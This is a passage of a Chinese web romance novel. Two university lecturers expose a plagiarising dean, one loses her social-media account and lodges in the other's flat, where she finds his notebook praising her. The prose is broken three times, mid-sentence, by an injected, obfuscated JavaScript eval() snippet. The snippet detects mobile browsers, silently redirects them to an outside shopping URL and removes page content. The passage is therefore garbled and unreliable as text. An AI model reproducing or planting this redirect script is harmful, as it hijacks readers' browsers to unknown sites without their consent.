平心而论,视频做得挺好的,匿名化处理到位,事实和逻辑清晰,感染力也强。但他担心这件事会波及江老师,这本来不应该是她来操心的事。 百花齐放、百家争鸣的时代已经过去了,“公知”已经成了贬义词,在互联网上发表旗帜鲜明的意见,甚至只是展示个人好恶,都可能引火烧身。 吴渺让江老师帮忙披露胡杰事件时,贺鸣云跳出来断然拒绝,就是担心江老师一时心软,把自己置于危险的境地。她是一个网红学者,还是个年轻的女性学者,这两个身份都太容易受到攻击了。没想到这次是他的原因,让江老师要以卵击石。 江无远接着说:“我并不想把重点放在这件事上,我想引发一次关于学术权力监督的公共讨论。孔富顺这么嚣张,这肯定不是第一例抄袭。如果我们只针对这件事件,他确实能用各种手段压下去。但如果有一群人站出来呢?如果那些曾经沉默的受害者,因为看到有人发声而鼓起勇气,也举报他呢?” 贺鸣云没那么乐观,他不觉得会有受害者跳出来举报孔富顺。学术圈反腐了这么些年,也没见多少真正有分量的学阀落马。 江无远比他乐观得多,十年前网络上流行的是“黑木耳”“女屌丝”,十年后网络环境已经有了很大的变化,曾经沉默的失权群体正在努力发出自己的声音。 许多事看起来都仿佛精卫填海,但每一粒投入海中的石头,都能引起些微的震动,直到海面无法再保持平静、保持沉默。 江无远看出他在犹豫,说:“贺教授,你别忘啦,一直都是我们俩一起救猫咪的。我怎么能让你一个人冲锋陷阵,一点事情也不做呢?” 贺鸣云盯着她,大脑在高速运转,权衡利与弊,以及按捺他莫名的焦躁感。江老师是对的,在一个封闭的系统里,想要对抗权力,有时候需要借助外界的力量。 “我们等五天,如果星期五还没有消息,我们再讨论,怎么样?” 江无远摩拳擦掌:“好,周五晚上发,刚好学校行政人员下班,来不及删帖,有两天的发酵时间。” “江老师,我说的是‘再讨论’,没让你直接发……” ***** 如他们所料,工作日没有任何消息,京西大学的态度昭然若揭,想把这件事就这么平静地糊弄过去。 江无远先用两个小号试水,没什么水花,一发就限流,不得不上大号。她的大号有两百多万粉丝,平时主要分享教学心得、读书笔记和社会观察。 贺鸣云指出:“你以前几乎没有发过攻击性这么强的内容。” “不是几乎,就是没有,”江无远摇摇头,“平台的议程设置倾向于推广和谐的内容,这类争议话题容易引起混乱,会分裂粉丝群体,也容易被投诉。” 贺鸣云想说什么,被江无远打断了:“可是,被踩到脚了就要喊痛,被人打耳光了就要还手,都被人欺负成这样了,还和谐个屁啊?为了赚钱就讨好粉丝、迎合平台,那我不如把号卖了赚笔大的,干嘛受自我审查的窝囊气?” “……好,那发吧。” 贺鸣云不敢看,紧闭双眼。 江无远好笑道:“贺教授,这又不是核武器发射键。” 可说呢。 星期天晚上,贺鸣云看了眼数据,这才不到两天,转发和点赞都超过二十万了。 江无远没跟他说,她还找熟人搞了个京西大学论坛的账号,在论坛里自导自演,发了个《这个视频说的好像是我们学校的某院长?》帖子,让话题加速发酵。 等到周二,京西大学行政部门终于意识到事情大条了的时候,“学阀剽窃学生论文”已经上了几轮热搜,还衍生出了专用表情包“好文,偷了”“偷完你的偷你的”,传得沸沸扬扬。 江无远的视频评论区里,也前所未有地出现了大量骂街粗话和人身攻击。 贺鸣云眯着眼睛,一条一条地举报。 江无远还挺兴奋的:“贺教授,我还是第一次被这么多人骂呢。在我们传播学看来,黑粉增多是明星走红的预兆之一,争议越大,讨论越多,曝光越多,越容易成为顶流。” “你大号是实名制的,这么多人骂你很危险,”贺鸣云觉得她没认识到事情的严重性,“江老师,我只是内部举报,大多数人不知道我做了什么。你在视频号上直接攻击,每个人都会知道,你会被针对的。” “这些骂我的明显是京西大学的水军嘛,谁会在意他们呀。” “这个视频动的可不止孔富顺一块蛋糕,心里有鬼的人太多了。” 江无远见他脸色很差,开玩笑道:“我们的论文不是还在外审中吗,你看,网暴这不就来了,可以补充进去。” 贺鸣云无语至极,翻了个白眼。 “叫你不准翻白眼,很明显,”江无远拍了拍身边的座位,“坐过来,我们讨论下接下来的作战计划。” 贺鸣云百般不情愿,挪了过来。 江无远从包里摸出一叠纸质材料:“你先看看。” 贺鸣云快速翻了一遍,眼珠子都要掉桌上了。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312472|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这你又是从哪里搞来的?” 江无远得意一笑:“常建波帮忙搞到的,保密哦。” 贺鸣云沉默了几秒。 “常建波?那天晚宴上,那个紫色的花孔雀?” 江无远点点头:“和我们学校的风格不同,京西大学的人文社科学院之间关系紧密,孔富顺在京西大学占山称王,话语权很大,特别是和新传学院的杨院长关系匪浅,据说是拜把子兄弟。常建波融入不进他们的圈子,恨屋及乌,早就不爽孔富顺了。” 贺鸣云问:“你们导师没有帮常建波一把吗?” 江无远摇摇头:“用后即弃。我这个师兄以为鞍前马后,就能讨王圣伯欢心,他还是高估了王圣伯的良心。还好他自己底子不差,社交能力强,最后还是找到了京西的教职。” 贺鸣云又问:“你特意拜托他帮忙的?” “嗯,敌人的敌人就是朋友嘛。搞小动作这方面,我这个师兄可是一流的,”江无远顿了顿,又说,“这次和他聊了聊,其实我对他有些改观。” 贺鸣云心里立刻警铃大作:“怎么改观了?为什么改观了?有必要改观吗?” 江无远说:“他还是没有放下王圣伯拒绝推荐他找教职这件事,毕业后他们就断了往来。王圣伯很好面子,每年生日都会让学生们大办寿宴,我是从来不参加,常师兄毕业后也不再出席,把王圣伯给得罪了,后来又给他使了些绊子。” 贺鸣云大概懂了:“所以他开始理解读博时候的你了?” 江无远点点头:“我也有点理解那时候的他了。找教职太难了,师兄想讨好王圣伯找份好工作,为了生计罢了。他只是一枚棋子,为难我的从来都是王圣伯本人。师兄现在在京西大学四面楚歌,还能不服输,把自己捯饬得干干净净的,找机会往上走,我还挺佩服的。” 贺鸣云在网上搜过王圣伯,王圣伯履历光鲜,一度在精菁大学担任副校长,后来辞去职务,去了某所中外合办大学担任新闻与传播学院院长。以他的资历和人脉,要提携门生是举手之劳,他却热衷于让学生狗咬狗,不提供任何指导和帮助。江无远和常建波怨恨他,也是人之常情。 江无远刚刚给贺鸣云看的,是常建波搜集的关于孔富顺学术不端的证据材料,除了常规的证据,他甚至把孔富顺课题组近十年的发表论文和论坛演讲都翻了出来,找到了论文署名模式中的反常。 一看就非一日之功,暗中调查很久了,恨果然比爱长久。 贺鸣云不得不承认:“他做这些还挺厉害的,可以去搞纪检工作了。” 江无远笑笑:“术业有专攻嘛,倒油和拉踩方面没输过。谁愿意天天装孙子呢,我这个师兄一肚子火,早就想报复这些学阀了。” 贺鸣云把材料装好:“有了这个,我们的底牌就更多了。” “嗯。” 他们对视了一眼,心里却都不轻松。他们知道,这件事才刚刚开始,京西方面很快就会反击。 ***** 很快,京西大学终于有了反应: 江无远的自媒体账号被禁言了。 被炸没两天,何回打来微信电话:“江江!你号怎么被炸了!?” 江无远有点心虚,声音也有点发虚。 “额,喂?” “‘喂’’?你喂什么喂?”何回立刻发现了她的不正常,“江江,你在哪儿?” “……怎么了,有事吗?” 何回心如明镜:“你不在自己家,这个屋的回声不对!” 江无远吓死了:“你还能听出来回声的不同啊?” “你别跟我打哈哈,老实交代吧。” “……我在贺鸣云家。” “什么?谁?你等等,你不是刚跟他吵架?你不是因为他学生的事,号都被炸了?你为什么在他家?马上开视频,我要看看你穿衣服没。” 45. 鸠占鹊巢 她当然穿着衣服! 至于江无远为什么会在贺鸣云家? 那当然是有正当理由的。 江无远发布视频后,“下犯上”“背刺前辈”“泄露圈内秘闻”这件事迅速传开,虽然背刺的是外校,但圈子就这么大点,大家抬头不见低头见,压力自上而下传导,搞得冰洋大学校方也很难做。 领导约谈几次,江无远坚决不妥协。校方甚至给了比较诱人的交换条件,她不算骨头很硬的人,自觉比较识时务。但一想到贺鸣云和钟若晚,她就不由自主挺直了脊梁,说什么也不肯出面假澄清包饺子。 得罪了校方没好果子吃。 在校领导的暗示下,教务处翻旧帐,说江无远之前某次出省讲课没提前报备,讲的话题还比较敏感,给了她走穴讲课的红牌。加上舆论闹得比较大,之前谈好的几个在外讲课机会都没了。 没两天,自媒体账号又被禁言,不知道账号异常状态会持续多久,要是永远无法解封,江无远最大的经济来源就没了。 江无远心情低落、钱包干瘪,都只敢在好特卖买零食了,没想到还能梅开三度,疑似被学校针对,突然被后勤处约谈。 后勤处老师把“政策性住房只允许教授本人居住”的条款拍在江无远面前,搅黄了她的租约。 老教授也顶不住校方压力,婉拒了江无远过渡一个月的请求,请她马上搬走。 由奢入俭难,江无远习惯了独居,吃不消跟陌生人合租,又不想住得太远,还舍不得花钱。 附近唯一一个她看得上的单身公寓租客爆满。江无远火速找了两个中介,看了七八套房,都不太满意。 倒是有套蓝园的,89方,两室一厅,她挺喜欢的。可惜租金八千五一个月,还不包水电网物业费,快赶上她的月薪高了。 没号,没课,没钱,还无家可归,江无远拔剑四顾心茫然。 如果这里是红果剧场,那下一秒,江无远就会仰天大笑,拍一箱金条在中介面前,说,租什么租?这套蓝园豪宅,我买了!多的当小费。 很遗憾,这里是晋江,这是一个现实主义的世界。 让读者失望了,江无远虽不是月光族,但现在手上也没什么流动资金,刚借了十万给方溯创业,剩下的又全买理财了。 江无远的理财手段较为保守:一半买了黄金,现在金价正在暴涨,她舍不得卖;另一半存了定期,提前取出来亏利息,也舍不得取。 花呗?小额贷?想都不要想,江无远信用卡都不用的。 而且她现在忧患意识高涨,如果最终结果是自媒体账号被注销,那不仅经济上受损,还会失去借着媒体影响力破格晋升的机会。看不清前路要怎么走,现在可不敢花太多钱。 总而言之,现在的江无远一穷二白,不能花太多钱在房租上。 遇事不决先啃老。 江无远拨通妈妈孙芸欣的电话,还没来得及图穷匕见,孙女士竟然先声夺人: “幺女,你视频号怎么搜不到了啊?你是不是搞擦边了?跟你说了不能在网上搞黄色的东西嘛。” “我擦什么了,我扣子都扣到最上面的!” 孙芸欣小心翼翼地问:“你最近都没打视频回来,是不是学校出什么事了?” 不愧是生了她的女人,敏锐超乎常人。 “没事,能有什么事,我就是有点忙。” 孙芸欣说:“你别担心,要是遇到什么事,要跟家里讲,大不了老爸老妈的棺材本给你就是了。” 江无远汗如雨下:“不准说这种又不吉利又给我道德压力的话……” 算了,出门在外靠朋友。 江无远给何回打电话,何回一惊一乍的:“江江,你号怎么被禁言了,发黄的了?” 江无远震怒:“我黄什么黄!我红得很!” 何回素来爱财如命,比她还着急上火:“能申诉吗?你工资又没多少,都靠自媒体赚外快的啊。” 瞧瞧这律师的嘴,一开口就直击命门,呛得江无远一口血憋在胸口,上不去下不来的。 “在申诉中了,应该能解除封禁状态的,你别担心,”江无远听到何回那边很嘈杂,问,“你在干嘛?” “在医院呢,湿疹犯了,找个医生看看。作孽啊,工资一半拿来买保健品,一半拿来看病了。” 说者无心听者有意,江无远又想起何回工作第一年,为了省钱住在丰台、单程通勤一个半小时的英勇事迹,顿时一阵心酸,实在开不了口。 还有句话咋说的来着…… 江无远苦苦思索,父爱如山!对,父爱如山。 江无远远赴C2-301,给贺鸣云带了杯咖啡。 贺鸣云这两天忙着和京西学委会拉锯,还不知道江无远的账号被封了。他接过咖啡,有些困惑:“你也会用咖啡机了?” “我本来就会好不好……嘛。” 贺鸣云的表情可以说是惊恐了:“‘好不好嘛’?‘嘛’?” “贺教授,咱们合作这么久,一路走来,相处甚欢,低谷时也互相支持,算是很合得来吧?” 贺鸣云以为江无远要求婚,吓得咖啡都洒裤子上了。 “江老师,你别冲动,你等等。” 江无远哀嚎:“我等不了了!我想要个家!” 贺鸣云来不及细想,率先自曝:“我、我是丁克!” 江无远好生奇怪:“你丁不丁克关我什么事?再说现在丁克是男人最好的医美啊。再再说,我也是丁克。对了,我最近能睡你,办公室吗?” 她轻描淡写好一通输出,贺鸣云一时不知该对哪句话先做出反应,茫然了几秒后才勉强抓住重点:“为什么要睡我办公室?” 江无远简单介绍了一下她被迫退租以及手头紧的情况。 “我都想好了,白天我可以在办公室或者图书馆,洗澡可以去健身房,洗衣服可以去洗衣房,只需要找个地方睡觉和放行李。” 贺鸣云完全没听进去:“你号被封禁了?他们怎么敢?” 江无远继续:“等我找到物美价廉的房子了就搬走,不会呆太久的。” 贺鸣云还在自说自话:“你号没了怎么办?你……你还好吗?” “我好得很,你要是能让我睡你办公室,就更好了。” “……我借你钱好了,你去找个酒店短租,先周转下,慢慢找房子。” 江无远马上跳起来反对:“瞎说什么呢?我怎么能借你的钱?” 贺鸣云又欣慰又难过,看江老师多善良,自己都无家可归了,还不肯借他的钱,不想给他增添任何负担。 江无远接着说:“借了我还是要还的啊,对我来说还是一笔支出,我现在可不能乱花钱了。” “……”原来她是这个意思啊,白感动了。 他又问:“没有什么亲戚朋友能让你借住一下吗?” “没有,我是乡下人,”江无远痛心疾首,“跟我玩得好的,都是穷鬼。只有你富一点。” 贺鸣云胸大且慷慨,不是,说错了,房子大,是房子大且慷慨。 他很快接受了事实,说:“那你住我家好了,住什么办公室,你生活品质那么高,怎么受得了住办公室。” “小看谁呢?我住你办公室就行,三十方,足够我住了。还有绿色植物,我很满意。” 贺鸣云坚持:“不行,我晚上也需要使用办公室,不要打扰我写论文。” 他们之间诡异地沉默了一会儿。 江无远怀疑道:“贺教授,你应该不是体贴我,想让我没有心理负担地入住你家,才故意这么说的吧?” 贺鸣云斩钉截铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319908|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“不是,真不是,你千万别多想。我本来也经常睡办公室,论文写晚了就懒得回家了。” 他的眼睛下面是青色的,熬夜改论文熬出来的黑眼圈。 江无远松了口气:“那就好,那我真住你家了。” “嗯,你可以坐地铁来学校,C1口。不想坐地铁的话,我有辆自行车,门口也可以租小电驴,”贺鸣云又想起什么,补充道,“你不用过意不去,实在过意不去,等有钱了再给我点租金就行。” 江无远连连否认:“我没有过意不去,你不准说这种见外的话。” 贺鸣云愣了愣,点点头:“行,那你安心住我家,我睡办公室就好。我们男的没那么讲究,睡哪儿都一样的。” “这种可怜兮兮的话就不要说了,真的会让我良心不安的,我会假装你用公费住五星级大酒店去了。” 贺鸣云笑了下:“好。” ——“总之,情况就是这样,”江无远解释说,“马上把你脑子里的黄色废料给我全倒掉。” 何回现在都还在合租,和室友约好了不能带人回家住,没办法为闺蜜排忧解难。 “贺鸣云人还不错,加一分。但你别让别的老师知道了,你俩都是单身,人多嘴杂,”何回想了想,又说,“你晚上睡觉把门反锁好,尽快找房子搬出去吧。” “嗯,我知道。” 何回那边沉默了一会儿,显然做了很大的心理斗争:“你要是实在找不到合适的房子,可以去我哥家里住,我跪在地上求他,他应该会答应的。” 江无远断然拒绝:“算了吧,你哥家到学校要一小时四十分钟,坐地铁得转两趟,还要换公交。” “你果然查过了啊!” 江无远犹豫了一下,又问:“你觉不觉得,贺鸣云对我有点太好了?” “不觉得,按我的标准,这时候他应该给你买套大平层才对。” 江无远一眼看穿:“你最近又在看什么短剧了?” 何回秒答:“《霸道小叔把我宠上天》,小叔给女主买了套四合院呢。” “少看点这些……” 何回不理她,继续叭叭说:“然后女主就很感动,深深地爱上了小叔,尽管小叔因为两人的年龄差距多次拒绝,女主也毫不动摇,一心追爱。最后他们终于在仲夏之夜,在四合院里滚到了一起。你知道浪漫喜剧里有多少因为住在一起日久生情的吗?《浪漫满屋》《萤之光》《梦幻情侣》……” 江无远受不了了:“好了好了别念了,他房子只有130方,而且他真睡办公室,你放心吧。” “江江,我觉得贺鸣云人还可以,宿敌变夫妻,日久生情,这种土的我也爱看。但作为你的娘家姐妹,我必须严肃提醒你,感谢是一回事,喜欢是另外一回事,你别一感动就跟人扯证去了,别,不至于。你要是在那儿呆得不自在,就去酒店住,钱我先给你垫着。” 江无远老泪纵横,什么是闺蜜,闺蜜就是一边吐槽你一边给你钱花,一边陪你看帅哥一边觉得所有男的都配不上你。 “知道啦。钱就别了,你好好攒着买房吧。有时间你叫上我一起去看看房子,贺鸣云家比你那狗窝宽敞多了,工资这么高还这么抠,你也对自己好点……” “嘿,说我抠门儿?小心了,我以后也要入住蓝园。” 江无远用力翻了个白眼,希望电话对面的人能心灵感应接收到。“你怎么入住?入室盗窃那个入住吗?” 何回说得理直气壮:“你是我最好的闺蜜,你去享福了,我当然也能一起去啊。我不仅要跟你一起去,还要让你的假爸爸爱上我,最后发现他竟然是我的真爸爸。” 这个剧情有点耳熟。江无远思考了一会儿。 “你是不是又在重温《还珠格格》了?你哪儿来的时间看这么多乱七八糟的电视啊?” 46. 惊天秘密 虽然江无远被禁言了,账号状态异常,但一石激起千层浪,视频录屏被广泛传播,引起巨大公愤。 出乎贺鸣云的意料,被剽窃甚至骚扰过的学生,一个接一个站出来,实名举报孔富顺。 有热心网友把实名举报学生的视频剪辑到了一起,配上《进击的巨人》配乐,整得还挺燃的。 视频顺势火到了二次元圈。二次元不鸣则已一鸣惊人,迅速团结起来扩大舆论、声讨学阀。又得益于二次元特有的抽象和神图,视频再次大爆。 贺鸣云大受震撼,他对二次元的认识还停留在漫展上,没想通这群天天看动漫的小孩怎么会有如此战力。 江无远解释:“别小看二次元啊,什么戈薇与桔梗之战,柯哀与新兰之战,吵得不知天地为何物。二次元见过大场面,战斗力超强的。” “……我完全听不懂你在说什么。” 迫于压力,市教育局牵头成立调查小组,展开对孔富顺学术不端行为的调查。随着爆料学生急剧增加,调查对象逐渐扩大到孔富顺派系,牵连到京西大学不少有头有脸的教授。 常建波隔岸观火、幸灾乐祸,高强度给江无远发微信汇报调查进展,江无远烦得把他免打扰了。 贺鸣云最近也异常活泼,每天给江无远打一个电话。他总是想问“你钱还够用吗”,说出口却总是迂回婉转的“江老师你吃过了吗?哦,吃过了啊。那你吃饱了吗?”。 江无远当然没接收到他的关怀信号,她还沉浸在调查组成立的成功喜悦中。“贺教授,干都干了,要不我把胡杰一起弄了?” “你可千万别,那件事性质不一样,而且现在吴渺和洪书渊状态都还不错,胡教授也被边缘化了,不用再处理了。” 贺鸣云严肃认真,听见电话那头江无远在低声笑,才意识到,她又在开玩笑逗他。 江无远又说:“贺教授,好几天没见着你了,你没事也回来转转嘛。” “我回自己家,叫‘回来转转’?”贺鸣云五分无语,三分无奈,还有两分怀疑,“怎么了,把家里什么东西弄坏了?” “你怎么会这么想我?我很爱护我们家的,生活习惯和卫生习惯都很好,”江无远顿了两秒,图穷而匕首见,“我是觉得,你方便的话,也许可以回家帮我看看论文?” 电话那头笑了声:“我方便的话?” 江无远没理他的揶揄。“我的号要是申诉不回来,社会影响评分会很低,那就得真刀真枪拼论文发表了。虽然我们合写那篇发表应该没什么问题,但我最好也有篇一作的嘛。” “你现在有初稿了吗?” 账号没了,平时录制和剪辑的时间都空了出来,江无远也终于有时间和心情,慢慢梳理以前搁置的工作。 除了这几年积累下来的田野资料、访谈笔记,她还意外翻出了几篇未完成的论文。想来是她刚入职,还没完全丧失热情和希望的时候写的。 其中一篇是关于直播主播自我认同的。当时“数字灵工”这个概念正热,江无远刚拿到冰洋大学的教职,急于做出成绩,蹭热点写了一篇论文,发在了C扩上。 后来在学术发表上没有什么大的进展,却因为写论文认识了一些主播和MCN机构,以此为契机,做起了自媒体账号。 做了三年自媒体,关于这个话题,江无远又有了很多新的体会。站在账号被炸的十字路口,关于情感劳动、互动仪式链,她也有了更多想法。 江无远的声音有点发虚:“有一些。” 贺鸣云完全质疑:“有一些?还不止一篇?” 江无远支支吾吾:“我这不是,搬出来了嘛。正好整理了下以前做田野的资料,还有些没写完的文章。有两三篇我都觉得可以改改,就是,就是……” 贺鸣云好歹也带过博士生和研究生,学生一抬屁股他就知道她们要放什么屁。“就是你只有一个点子,还没搭好框架,也不确定论文的研究价值如何?” “对,对!不愧是你贺教授!” “你也就求我帮忙的时候说话好听……”贺鸣云叹了口气,“电子版都打包发我,我先看看。” ***** “贺教授?你在干嘛呢?” 电话那头的声音颇为无奈:“我在吃饭,今天要改小钟的论文,没时间回家。你的东西我在看了,等我看完和你讨论,好吗?” 江无远笑得很谄媚:“没有催你的意思,就是想问下,我远远地看到你茶几上有本《都市里的农家女》,我能拿来看吗?” 贺鸣云想到,江老师最近突然不用发视频了,应该是闲得发慌,还好他的书都很正经,没什么见不得人的。“随便看,不用问我。我书房有书柜,你也随便看。” 江无远得寸进尺:“那我可以在你家转悠吗?观摩下你的书房?” 还好他洁身自好,从没买过什么不正经的东西。 “当然,你想观摩哪里就观摩哪里。” 贺鸣云的书柜很整洁,显然是用心做过分类。和江无远的想象不同,贺鸣云的阅读兴趣很广泛,藏书不限于社会学专业,也不限于专业书籍。 她看到几本心理学的书,还有好些科幻小说,让人不禁联想到机器人学习人类感情、试图通过图灵测试的阴谋论。 书柜里有一整层都是贺鸣云发表的论文。江无远把他的博士毕业论文抽出来看,发现致谢里只简单地感谢了导师欧文,没诉苦,没煽情,也没感谢任何亲朋好友。 很符合他的风格。 却也让她更好奇,难道他在斯坦福也没朋友吗?贺鸣云给人的感觉是胚胎时期就能背诵《岳阳楼记》全文、生下来就四十岁了,她想象不出来学生时代的青涩版本贺教授是什么样的。 他还保存了学生发表的所有论文。江无远读到了钟若晚写的《为爱付费:乙女游戏付费行为的社会分层研究》,是她博一发表的第一篇论文。江无远作为社会学的门外汉也看得出,小钟的论文水平超过了一般的博士生,大概也超过了她。 江无远很少受到peerpresssure(同辈压力)影响,但此时也有些羡慕小钟,羡慕她这么年轻就找到了感兴趣的话题。 在失去精心打造的账号后,她才真正意识到,世间纷纷扰扰,可以沉浸在自己的小世界里,往上攀登,向深探索,直到看到他人尚未窥见的全新风景,是件多么幸福、多么珍贵的事。 江无远心里有数,她的自媒体账号大概率申诉不回来了。因为没大没小挑战学术圈潜规则,一些圈内的人脉关系可能也断了。跟本学院的前辈关系又不怎么样。长远来看,她必须在学术成果上有突破,才有希望晋升。 贺鸣云和她毕竟不是同一个专业,合作成效有限。就算是同一个专业,她也不能永远依赖他,永远屈居第二作者。 这两年,江无远也有考虑过,要不要和其他学校的新传教授合作。不过就她目前的成果,找人合作就是求人,她自由惯了,不愿意受那个气。 江无远站在贺鸣云的一排论文和专著面前,想起前两天拜托常建波帮忙搜集证据时,和他有一搭没一搭的闲聊。 常建波说,他们的一个师妹毕业后去英国镀了层金,和导师关系不错,导师说得上话,推荐她进了个不错的研究所,现在学术研究做得挺不错。 常建波当时还感慨:“师妹,你读博的时候挺会写论文的啊,比她强。怎么进高校就不写了?你们女的要混到教授不容易的,你可不能学我偷懒啊。” 她当时张了张嘴,最终还是没说什么,只笑了笑。 与其解释自己的失误,与其后悔浪费的时间,不如趁现在好好思考还能做些什么。 江无远想了想,给徐院长发了一条消息:“院长,我们学院这两年没有老师出去访学,我想申请出去,您看有机会吗?” 贺鸣云和学生们的论文在她背后,像是无声的支持和鼓励。 ***** 除了贺鸣云,何回也担心江无远想不开殉号,每天都给江无远打语音。 虽然她表达关心的方式总是令江无远上火: “你确定他不会突然回来拿什么重要文件,刚好碰到你洗完澡裹着浴巾出来吗?” “然后他的喉结就会上下滚动,然后你的脸就会越来越红,不知怎么的,你回过神来时,已经贴在了他的胸肌上,而且贴得很紧,你感受到他灼热的体温……” 江无远绝望地闭上眼:“何回,你少看点短剧,你的脑子已经给看坏了!” 何回口无遮拦:“或者,他虽然人不在屋子里,屋子里却处处都是他的痕迹。你一不小心打开他的书桌抽屉,发现里面竟然有你大学时的青春照片!你一不小心打开他的衣柜,发现里面竟然有你以为丢了的内裤!” “喂!这是内衣贼吧!” 何回摊牌了:“反正要是我住进了大帅哥家,我肯定要把他家翻个底朝天。” 江无远冷笑一声:“据我对你的了解,你应该只会试着打开保险柜吧。” ***** 挂断电话,何回的胡言乱语却在她耳边盘旋,挥之不去。 江无远越想越睡不着,爬起来溜进书房,进门前还小心翼翼,向可能存在的监控摄像头打招呼:“我不干坏事,就看看你平时看什么书,做什么研究,然后……散散步,嗯对,散散步。” 她白天看过了,但贺鸣云藏书实在是太多了,她再看一次又怎么了呢? 书桌上放着一本笔记本,大概是被昨夜的风吹开了。 江无远又对着空气小声说:“贺鸣云,那什么,你这本儿本来就敞开着的,我帮你合上,免得沾灰……顺便,顺便飞快地瞄一眼你写了些什么,万一是什么要紧事呢?” 她一边想,贺教授会写点什么呢?——八成是论文或者备课的灵感,或者是“今晚9点记得买打折牛奶”之类的——一边拿起笔记本看—— 她愣住了。 在敞开的笔记本页面上,潦草地写着“吴渺”“研究生导师指导质量匿名评价制度”“师生冲突第三方调解委员会”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329712|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽然嘴上冷冰冰的,但他私底下在认真考虑,怎么从制度层面保护处于弱势地位的学生。江无远当时还以为,他不喜欢吴渺呢。 她又往前翻了两页。 贺鸣云详细复盘了他们之间发生的几次口角。现在回想起来,都是些鸡毛蒜皮的小事,但他显然十分在意,在笔记本上认真分析他们为何争吵,以后如何避免类似的吵架。 江无远的指腹抚过“不要老是教别人做事”“爹味是什么?(问钟)”这两行字,想象着贺鸣云皱着眉头冥思苦想、深刻反省自己哪里做得不对的样子,忍不住笑了。 她注意到有一页被折了个角,好奇地翻过去看。 贺鸣云在页面中间画了一根线,左边最上面写着“优点”,右边写着“缺点”。 在“优点”一侧,贺鸣云漂亮的笔迹写着: 聪明。 视角独特。 语言能力强。 关心学生。 坦率。 不阴险。 对喜欢的事有热情。 有爱心。 尊重人。 也是丁克。 在“缺点”一侧,贺鸣云一个字也没写。他大概是开了小差,在“缺点”那边潦草地画了只小猫。 贺鸣云没有写是谁的优点、缺点,但江无远又不是傻子,她才不会脑回路山路十八弯地误会他写的是“十多年前的白月光”“因误会而分手的初恋”之类的,这一看就写的是她本人啊! 江无远的心怦怦直跳,她做了每个缺乏经验的恋爱新手都会做的傻事,马上打语音给何回。 “小回!!!” 何回不知道这边发生了如此大事,还在调侃:“怎么,保险箱打开了?” 江无远十分惊恐:“我发现,贺鸣云可能喜欢我!” 何回太失望了,她还以为是什么惊天发现呢,江江美貌与智慧并重,幽默与义气齐飞,谁能不爱她? “哟,哥伦布发现新大陆。你看到什么了?偷拍?内裤?” 江无远尖叫:“我看到他的笔记本了!” 江无远短话长说,硬生生说了十分钟。 何回听得耳朵痛,打断她:“行了行了,证据已经非常充足了,本庭做出判决:他超爱。” “可是,不应该啊,”江无远喃喃自语,“他只爱做学术,怎么突然对人类感兴趣了?” “瞎说什么呢,事业归事业,爱情归爱情,爱工作不影响爱你啊。现在问题的关键是,你喜欢他吗?” 江无远犹豫了两秒:“……那应该没有,吧。” 何法官非常严谨:“论据呢?” “我还从来没幻想过贺鸣云,我最近性幻想的对象都是布拉德皮特,注意,是《十一罗汉》里面的布拉特皮特,不是《F1》里面的。” “……姐妹你真不把我当外人,这个……行吧,也算有一点点说服力,”何回想了想,又问,“那要是以后你俩结束合作,变成普通同事,不再像现在这样能经常呆在一起了呢?要是他换别人合作了呢?你OK吗?能接受吗?” 江无远脱口而出:“不行。” 何回被噎了下:“你这是,要跟他搞柏拉图?还是你们书读得多的人花样多啊。” 江无远试图狡辩:“我只是想快点升上副教授。” “那你当上副教授了再甩掉他不就好了。” 江无远的声音低如蚊蚋:“但是,我还要升教授的呀……” “本庭维持原判,并做出补充判决:你也超爱。我要睡了,拜拜。” “等等!” 何回才不等,她第二天还要早起出差,懒得熬夜当爱情保安。 何回阅爱情故事无数,深知一个真理:言情小说就要暧昧的篇章才好看,男女主真在一起了就腻了。 CP就要似真似假、若即若离时才好嗑,现在这俩人双箭头都这么粗了,还有什么好八卦的?安静等着给官宣朋友圈点赞就行了。 ***** 江无远洗了把冷水脸,躺回床上,试图整理思绪。 她讨厌贺鸣云吗? 当然不。 把贺鸣云当作一个朋友,她喜欢他吗? 喜欢的……吧,他现在已经是她在冰洋大学最好的朋友了。 假如和他谈恋爱的话,他也是丁克,这点蛮好的——不对不对,怎么想这么远了,快倒回去—— 把贺鸣云当成一只猫,一只狗,她愿意养他吗? 当然是愿意的,江无远从小就想养只小猫或者小狗,贺鸣云品相好,爱干净,也比较听话,不吵不闹的。 手机屏幕亮了,是何回发来的微信: “今晚可以性幻想你家贺教授了,做个好梦[wink]” 江无远内心尖叫之际,门铃响了。 难道是何回给她点的夜宵外卖?抠货良心发现了? 江无远蹑手蹑脚溜过去,惊呆在原地—— 可视门铃显示屏上,正是贺鸣云本云。 